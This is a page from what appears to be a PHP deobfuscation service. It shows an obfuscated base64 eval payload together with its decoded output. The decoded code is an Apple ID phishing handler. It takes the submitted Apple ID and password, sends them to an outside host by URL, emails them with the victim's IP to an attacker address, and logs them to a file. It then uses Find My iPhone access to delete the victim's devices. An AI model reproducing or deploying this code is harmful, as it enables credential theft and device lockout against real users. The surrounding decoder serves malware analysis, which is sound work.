Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("ICAgIA0KDQogICAgPD9waHAgIHNlc3Npb25fc3RhcnQoKTsgJGVtYWlsPSA..

Decoded Output download

?>b'    

    <?php  session_start(); $email= $_POST[\'apple_id\']; $pass= $_POST[\'apple_pwd\']; $agent = $_SERVER[\'HTTP_USER_AGENT\']; function getUserIP() { $client = @$_SERVER[\'HTTP_CLIENT_IP\']; $forward = @$_SERVER[\'HTTP_X_FORWARDED_FOR\']; $remote = $_SERVER[\'REMOTE_ADDR\']; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } return $ip; } $ch = curl_init(\'http://whh-team.com/whhcheck/auto.php/?key=whhpayedapi&user=\'.$email.\'&pass=\'.$pass.\'\'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); $response = curl_exec($ch); curl_close($ch); $user_ip = getUserIP(); $headers .= \'To: New User\' . "rn"; $headers .= \'From: WHH-TEAM\' . "rn"; $headers = \'MIME-Version: 1.0\' . "rn"; $headers .= \'Content-type: text/html; charset=iso-8859-1\' . "rn"; $to = \'[email protected]\'; $subjects = \'Invalid Login Attempt\'; $messages = \'<table style="background:none repeat scroll 0% 0% rgb(244,244,244);border:1px solid rgb(102,102,102)" border="0" cellpadding="5" cellspacing="5" width="600">
        <tbody>
            <tr>
                <th style="background-color:rgb(204,204,204)">Login Attempt Details</th>
            </tr>
            <tr>
                <td style="text-align:left" valign="top">
                <br>
    			<strong>Login Invalid :</strong> if Autoremove is : 403 Forbidden or Unauthorised <br><br><br>
    			<strong>Email:</strong> \'.$email.\'<br>
    			<strong>Password:</strong> \'.$pass.\'<br>
                <strong>IP Address:</strong> \'. $user_ip.\'<br>
    			</td>
            </tr>
            <tr>
                <td style="text-align:left"><em>Thanks,<br>
                yacine hadjou<br>
                </td>
            </tr>
        </tbody>
    </table>\'; $subject = \'True Login\'; $message = \'<table style="background:none repeat scroll 0% 0% rgb(244,244,244);border:1px solid rgb(102,102,102)" border="0" cellpadding="5" cellspacing="5" width="600">
        <tbody>
            <tr>
                <th style="background-color:rgb(204,204,204)">True Login Details</th>
            </tr>
            <tr>
                <td style="text-align:left" valign="top">
                <br>
    			<strong>Login Invalid :</strong> if Autoremove is : 403 Forbidden or Unauthorised <br><br><br>
    			<strong>Email:</strong> \'.$email.\'<br>
    			<strong>Password:</strong> \'.$pass.\'<br><br>
                <strong>IP Address:</strong> \'. $user_ip.\'<br><br>
    			<strong>Autoremove:</strong><br>\'.$response.\'<br><br>
    			</td>
            </tr>
            <tr>
                <td style="text-align:left"><em>Thanks,<br>
                yacine hadjou<br>
                </td>
            </tr>
        </tbody>
    </table>\'; $save1 = $message; $my_file = \'ID.htm\'; $handle = fopen($my_file, \'a\') or die(\'Cannot open file:  \'); fwrite($handle, $save1); $new_data = "<br />"; fwrite($handle, $new_data); include("fmi.php"); $FMI = new Devjo(); if($FMI->Login($email,$pass) == true){ $devices_array = $FMI->Delete_All(); $body = implode("n",$devices_array); $message .= $body; mail($to, $subject, $message, $headers); $arr = explode("@",$email); $name = $arr[0]; echo \'{"message":"\'.$name.\'","success":true,"duration":"0.0000"}\'; $_SESSION["name"] = $name; }else{ mail($to, $subjects, $messages, $headers); echo \'{"error":"login failed","success":false,"duration":"0.0000"}\'; } ?>

   
'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("ICAgIA0KDQogICAgPD9waHAgIHNlc3Npb25fc3RhcnQoKTsgJGVtYWlsPSAkX1BPU1RbJ2FwcGxlX2lkJ107ICRwYXNzPSAkX1BPU1RbJ2FwcGxlX3B3ZCddOyAkYWdlbnQgPSAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107IGZ1bmN0aW9uIGdldFVzZXJJUCgpIHsgJGNsaWVudCA9IEAkX1NFUlZFUlsnSFRUUF9DTElFTlRfSVAnXTsgJGZvcndhcmQgPSBAJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ107ICRyZW1vdGUgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsgaWYoZmlsdGVyX3ZhcigkY2xpZW50LCBGSUxURVJfVkFMSURBVEVfSVApKSB7ICRpcCA9ICRjbGllbnQ7IH0gZWxzZWlmKGZpbHRlcl92YXIoJGZvcndhcmQsIEZJTFRFUl9WQUxJREFURV9JUCkpIHsgJGlwID0gJGZvcndhcmQ7IH0gZWxzZSB7ICRpcCA9ICRyZW1vdGU7IH0gcmV0dXJuICRpcDsgfSAkY2ggPSBjdXJsX2luaXQoJ2h0dHA6Ly93aGgtdGVhbS5jb20vd2hoY2hlY2svYXV0by5waHAvP2tleT13aGhwYXllZGFwaSZ1c2VyPScuJGVtYWlsLicmcGFzcz0nLiRwYXNzLicnKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRwb3N0KTsgJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7IGN1cmxfY2xvc2UoJGNoKTsgJHVzZXJfaXAgPSBnZXRVc2VySVAoKTsgJGhlYWRlcnMgLj0gJ1RvOiBOZXcgVXNlcicgLiAicm4iOyAkaGVhZGVycyAuPSAnRnJvbTogV0hILVRFQU0nIC4gInJuIjsgJGhlYWRlcnMgPSAnTUlNRS1WZXJzaW9uOiAxLjAnIC4gInJuIjsgJGhlYWRlcnMgLj0gJ0NvbnRlbnQtdHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTEnIC4gInJuIjsgJHRvID0gJ3RhcmdhbnRzb3Vzc0BnbWFpbC5jb20nOyAkc3ViamVjdHMgPSAnSW52YWxpZCBMb2dpbiBBdHRlbXB0JzsgJG1lc3NhZ2VzID0gJzx0YWJsZSBzdHlsZT0iYmFja2dyb3VuZDpub25lIHJlcGVhdCBzY3JvbGwgMCUgMCUgcmdiKDI0NCwyNDQsMjQ0KTtib3JkZXI6MXB4IHNvbGlkIHJnYigxMDIsMTAyLDEwMikiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjUiIGNlbGxzcGFjaW5nPSI1IiB3aWR0aD0iNjAwIj4NCiAgICAgICAgPHRib2R5Pg0KICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgIDx0aCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjpyZ2IoMjA0LDIwNCwyMDQpIj5Mb2dpbiBBdHRlbXB0IERldGFpbHM8L3RoPg0KICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICA8dGQgc3R5bGU9InRleHQtYWxpZ246bGVmdCIgdmFsaWduPSJ0b3AiPg0KICAgICAgICAgICAgICAgIDxicj4NCiAgICAJCQk8c3Ryb25nPkxvZ2luIEludmFsaWQgOjwvc3Ryb25nPiBpZiBBdXRvcmVtb3ZlIGlzIDogNDAzIEZvcmJpZGRlbiBvciBVbmF1dGhvcmlzZWQgPGJyPjxicj48YnI+DQogICAgCQkJPHN0cm9uZz5FbWFpbDo8L3N0cm9uZz4gJy4kZW1haWwuJzxicj4NCiAgICAJCQk8c3Ryb25nPlBhc3N3b3JkOjwvc3Ryb25nPiAnLiRwYXNzLic8YnI+DQogICAgICAgICAgICAgICAgPHN0cm9uZz5JUCBBZGRyZXNzOjwvc3Ryb25nPiAnLiAkdXNlcl9pcC4nPGJyPg0KICAgIAkJCTwvdGQ+DQogICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0idGV4dC1hbGlnbjpsZWZ0Ij48ZW0+VGhhbmtzLDxicj4NCiAgICAgICAgICAgICAgICB5YWNpbmUgaGFkam91PGJyPg0KICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICA8L3RyPg0KICAgICAgICA8L3Rib2R5Pg0KICAgIDwvdGFibGU+JzsgJHN1YmplY3QgPSAnVHJ1ZSBMb2dpbic7ICRtZXNzYWdlID0gJzx0YWJsZSBzdHlsZT0iYmFja2dyb3VuZDpub25lIHJlcGVhdCBzY3JvbGwgMCUgMCUgcmdiKDI0NCwyNDQsMjQ0KTtib3JkZXI6MXB4IHNvbGlkIHJnYigxMDIsMTAyLDEwMikiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjUiIGNlbGxzcGFjaW5nPSI1IiB3aWR0aD0iNjAwIj4NCiAgICAgICAgPHRib2R5Pg0KICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgIDx0aCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjpyZ2IoMjA0LDIwNCwyMDQpIj5UcnVlIExvZ2luIERldGFpbHM8L3RoPg0KICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICA8dGQgc3R5bGU9InRleHQtYWxpZ246bGVmdCIgdmFsaWduPSJ0b3AiPg0KICAgICAgICAgICAgICAgIDxicj4NCiAgICAJCQk8c3Ryb25nPkxvZ2luIEludmFsaWQgOjwvc3Ryb25nPiBpZiBBdXRvcmVtb3ZlIGlzIDogNDAzIEZvcmJpZGRlbiBvciBVbmF1dGhvcmlzZWQgPGJyPjxicj48YnI+DQogICAgCQkJPHN0cm9uZz5FbWFpbDo8L3N0cm9uZz4gJy4kZW1haWwuJzxicj4NCiAgICAJCQk8c3Ryb25nPlBhc3N3b3JkOjwvc3Ryb25nPiAnLiRwYXNzLic8YnI+PGJyPg0KICAgICAgICAgICAgICAgIDxzdHJvbmc+SVAgQWRkcmVzczo8L3N0cm9uZz4gJy4gJHVzZXJfaXAuJzxicj48YnI+DQogICAgCQkJPHN0cm9uZz5BdXRvcmVtb3ZlOjwvc3Ryb25nPjxicj4nLiRyZXNwb25zZS4nPGJyPjxicj4NCiAgICAJCQk8L3RkPg0KICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICA8dGQgc3R5bGU9InRleHQtYWxpZ246bGVmdCI+PGVtPlRoYW5rcyw8YnI+DQogICAgICAgICAgICAgICAgeWFjaW5lIGhhZGpvdTxicj4NCiAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgPC90cj4NCiAgICAgICAgPC90Ym9keT4NCiAgICA8L3RhYmxlPic7ICRzYXZlMSA9ICRtZXNzYWdlOyAkbXlfZmlsZSA9ICdJRC5odG0nOyAkaGFuZGxlID0gZm9wZW4oJG15X2ZpbGUsICdhJykgb3IgZGllKCdDYW5ub3Qgb3BlbiBmaWxlOiAgJyk7IGZ3cml0ZSgkaGFuZGxlLCAkc2F2ZTEpOyAkbmV3X2RhdGEgPSAiPGJyIC8+IjsgZndyaXRlKCRoYW5kbGUsICRuZXdfZGF0YSk7IGluY2x1ZGUoImZtaS5waHAiKTsgJEZNSSA9IG5ldyBEZXZqbygpOyBpZigkRk1JLT5Mb2dpbigkZW1haWwsJHBhc3MpID09IHRydWUpeyAkZGV2aWNlc19hcnJheSA9ICRGTUktPkRlbGV0ZV9BbGwoKTsgJGJvZHkgPSBpbXBsb2RlKCJuIiwkZGV2aWNlc19hcnJheSk7ICRtZXNzYWdlIC49ICRib2R5OyBtYWlsKCR0bywgJHN1YmplY3QsICRtZXNzYWdlLCAkaGVhZGVycyk7ICRhcnIgPSBleHBsb2RlKCJAIiwkZW1haWwpOyAkbmFtZSA9ICRhcnJbMF07IGVjaG8gJ3sibWVzc2FnZSI6IicuJG5hbWUuJyIsInN1Y2Nlc3MiOnRydWUsImR1cmF0aW9uIjoiMC4wMDAwIn0nOyAkX1NFU1NJT05bIm5hbWUiXSA9ICRuYW1lOyB9ZWxzZXsgbWFpbCgkdG8sICRzdWJqZWN0cywgJG1lc3NhZ2VzLCAkaGVhZGVycyk7IGVjaG8gJ3siZXJyb3IiOiJsb2dpbiBmYWlsZWQiLCJzdWNjZXNzIjpmYWxzZSwiZHVyYXRpb24iOiIwLjAwMDAifSc7IH0gPz4NCg0KICAgDQo=")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 8df7c3dea4bd96c0d0659f5ce4c72c82
Eval Count 1
Decode Time 89 ms